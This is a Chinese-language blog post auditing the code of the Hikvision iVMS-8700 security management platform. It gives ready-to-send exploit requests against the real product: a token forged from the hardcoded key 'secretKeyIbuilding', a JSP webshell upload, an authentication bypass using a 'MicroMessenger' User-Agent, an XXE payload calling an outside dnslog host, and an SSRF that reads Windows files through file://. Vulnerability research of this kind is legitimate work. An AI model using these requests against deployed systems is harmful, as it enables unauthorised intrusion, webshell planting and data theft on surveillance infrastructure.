iVMS-8700綜合安防管理平臺代碼審計

前言

群里有個師傅在問iVMS-8700綜合安防管理平臺的指紋信息，并且還說只是訪問一下/eps/api/resourceOperations/upload，很明顯，這里有個上傳

本來18號就想著寫出來的，才打完攻防，累，也就拖到了今天才寫

復現

最開始訪問該接口的時候，會提示token empty

添加token后，會提示token invalid

有點意思

于是找該師傅白嫖了poc

此時也就知道了該token的生成規則

即當你訪問 http://x.x.x.x/eps/api/resourceOperations/upload時，token=md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")，生成的hash值，字母要轉大寫

代碼審計

此時就有點好奇，為什么要對http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding進行md5加密，為什么直接訪問http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding是404，這些都是我的疑問。

首先這里要分析的應用是eps，即eps.war文件

通過之前編寫的一個獲取spring所有controller的腳本，知道了該controller對應的類:com.hikvision.cms.eps.biz.operation.action.ResourceOperationAction

此時發現，具體上傳功能是在this.resourceOperationService.uploadResourceOperation這里實現，即ResourceOperationService類下的uploadResourceOperation方法。

在uploadResourceOperation方法里，先調用了FileUtils里的uploadFile方法

在uploadFile里，獲取文件后綴后(fileSuffix)，該后綴與uuid直接拼接

tmpPath的值是/upload/{uuid}.jsp

最后通過MultipartFile里的transferTo方法將該文件成功傳到服務器上

回到ResourceOperationService類下的uploadResourceOperation方法中，此時頁面回顯resourceUuid的值時，也就是保存在服務器上的文件名

數據包：

POST /eps/api/resourceOperations/upload?token=xxxx HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Length: 161
------WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
webshell
------WebKitFormBoundaryrHmpzTSMsQVHSzYI--

此時發現在上傳過程中，沒有token的參與，因此也就可能是攔截器Interceptor或者過濾器Filter在起作用

攔截器

在web.xml中

springmvc處理的路由有兩種情況，分別是以/api/為開始或者是以.action為結束

這兩種都被org.springframework.web.servlet.DispatcherServlet來處理，此處是有springmvc的配置文件springmvc-servlet.xml，也就點進去看看

在springmvc-servlet.xml中，有三個攔截器:

com.hikvision.cms.common.web.interceptor.HttpServiceRequestInterceptor
com.hikvision.cms.common.web.interceptor.HttpServletResponseInterceptor
com.hikvision.cms.common.web.interceptor.LicenseAuthInterceptor

很明顯，第一個攔截器是最有可能存在token相關規則的（因為此處存在權限認證的key，即secretKeyIbuilding）

該攔截器的具體代碼如下

先判斷HttpRequestUtils.requestUriStartWithApi(request)或HttpRequestUtils.requestUriEndWithService(request)的值是否為true

由于這里分析的是/api/resourceOperations/upload，因此是true，進入if邏輯

判斷this.mustAuthPermission()的值是否是true，由于authPermission的默認值是1，即"1".equals(this.getAuthPermission())是true，因此this.mustAuthPermission()是true

然后獲取token參數的值，判斷該值和MD5Util.md5(targetUrl + this.secretKey)的值是否相等，即：

MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")

因此我們傳入的token值是：

MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")

最后該攔截器的返回值是true（最后一個if邏輯不影響返回值，且只和頁面回顯的數據格式有關，也就不分析）也就成功的繞過了token的限制

過濾器

可以看見，該過濾器沒啥好分析的。

不需要token上傳(需要偽造參數)

通過上面分析可知，springmvc是可以處理.action的路由的，并且HttpServiceRequestInterceptor攔截器是只對/api/有效的

.action的過濾器在web.xml里面聲明了，是由CASFilter來處理，即：com.hikvision.cms.common.web.cas.ExtAuthenticationFilter

此時應關注HttpRequestUtils.requestComeFromWeChatClient(request)的邏輯值

此時可以看見，當請求頭中的user-agent=MicroMessenger時，即可走filterChain.doFilter(servletRequest,servletResponse);的邏輯，也就能夠正常上傳了

不加user-agent=MicroMessenger時，可以看見會被重定向

添加user-agent=MicroMessenger時，上傳成功

最后的數據包：

POST /eps/resourceOperations/upload.action HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
user-agent: MicroMessenger
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Length: 163
------WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
111
------WebKitFormBoundaryrHmpzTSMsQVHSzYI--

其他漏洞

其他漏洞倒是沒怎么看，就發現了一個XXE和SSRF，也就沒深入了，不過也都是垃圾洞了

XXE審計

漏洞點：com.hikvision.cms.acs.api.http.action.HttpBlackDownloadAction

非常經典的XXE漏洞模板代碼，可惜只能打個dnslog

POST /acs/api/serviceApi/blackDownload/downloadBlackCallBack?token=xxx HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Content-Length: 471
deviceIndexCode=1&xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22ISO-8859-1%22%20%3F%3E%0A%20%20%20%20%20%20%20%20%3C%21DOCTYPE%20example%20%5B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ELEMENT%20example%20ANY%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ENTITY%20file%20SYSTEM%20%22http%3A%2F%2F12345.33548593.ipv6.1433.eu.org%22%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%3E%0A%3Cexample%3E%26file%3B%3C%2Fexample%3E

(注：dnslog日志是18號的，截圖也是18號的)

SSRF審計

漏洞點：com.hikvision.cms.eps.biz.trigger.action.TriggerAction

沒啥好分析的，一眼看出

Exp：

/eps/api/triggerSnapshot/download?token=xxx&fileUrl=file:///C:/windows/win.ini&fileName=1

直接通過file協議讀取文件

也能修改成其他協議，比如ftp、http、https、jar、mailto、netdoc和gopher，但gopher默認是禁用的，這部分的邏輯可以在rt.jar中審計，也沒啥好說的，因為之前也分析過

總結

分析完了后，感覺漏洞也沒啥，也就是基礎洞，正常分析就能找到。

原文鏈接：https://jdr2021.github.io/2023/05/22/iVMS-8700%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/